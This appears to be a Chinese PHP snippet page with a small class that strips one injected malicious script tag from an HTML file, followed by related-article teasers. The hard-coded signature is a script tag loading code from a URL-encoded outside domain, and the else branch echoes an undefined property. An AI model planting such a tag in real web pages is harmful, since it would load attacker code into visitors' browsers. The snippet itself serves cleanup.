php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

PHP 文件写入和读取操作实例详解【必看篇】

PHP 文件写入和读取操作实例详解【必看篇】

本文实例讲述了PHP 文件写入和读取操作。分享给大家供大家参考,具体如下: 文章提纲: 一.实现文件读取和写入的基本思路 二.使用fopen方法打开文件 三.文件读取和文件写入操作...

php文件压缩之PHPZip类用法实例

本文实例讲述了php文件压缩之PHPZip类用法。分享给大家供大家参考。具体如下: <?php // // PHPZip v1.2 by Sext (sext@neud...

PHP提示Cannot modify header information - headers already sent by解决方法

本文实例讲述了PHP提示Cannot modify header information - headers already sent by解决方法,是进行PHP程序设计过程中经常会遇到...

php实现源代码加密的方法

本文实例讲述了php实现源代码加密的方法。分享给大家供大家参考。具体实现方法如下: <?php function RandAbc($length=""){//返回随...

SWFUpload与CI不能正确上传识别文件MIME类型解决方法分享

解决方案如下,其它框架雷同。 源代码(/system/libraries/upload.php 199 line) $this->file_type = preg_replace(...